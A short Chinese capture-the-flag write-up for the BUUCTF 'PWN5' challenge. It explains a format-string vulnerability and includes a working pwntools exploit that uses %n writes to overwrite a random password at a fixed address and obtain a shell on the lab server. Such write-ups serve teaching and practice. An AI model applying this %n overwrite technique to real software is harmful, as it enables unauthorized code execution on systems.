T3 [第五空间2019 决赛]PWN5
2023-01-27WP
BUUCTF pwn第七题
考点:格式化字符串漏洞
0x01
file && checksec —— 32 bit , 开启NX,开启cannary
这就没法栈溢出了
运行程序看看输出
0x02
IDA查看代码
先找string window 发现/bin/sh,进一步查看发现程序就是先读取用户名,再读入密码,然后再将用户输入的密码和生成的一个随机密码比较,正确则执行system(/bin/sh),错误则输出fail
观察发现printf(&buf);存在格式化字符串漏洞
(关于格式化字符串漏洞的相关知识会另写一篇)
0x03
现在可以利用%n来修改参数里的内容,我们不知道读入的随机数是多少,那么我们将它改成我们写入的数据就好了
首先利用测试数据”AAAA %08x %08x %08x %08x %08x %08x %08x………… “来确定偏移量,
发现输入的数据是栈的第十个
并且存放生成的随机密码的地址是从0x0804C044开始的,共四字节空间
所以我们可以用%10$,%11$,%12$,%13$去定位到这4个地址,再用%n修改这些地址里的内容
可以构造payload了
0x04
from pwn import*
p=remote('node4.buuoj.cn',28332)
addr = 0x804c044
payload=p32(addr)+p32(addr+1)+p32(addr+2)+p32(addr+3)
payload+=b'%10$n%11$n%12$n%13$n'
p.sendline(payload)
p.sendline(str(0x10101010))
p.interactive()
因为总共输入了四个地址,共16位,所以%n所赋值的数是16,所以用户输入密码时发送的数据为0x10101010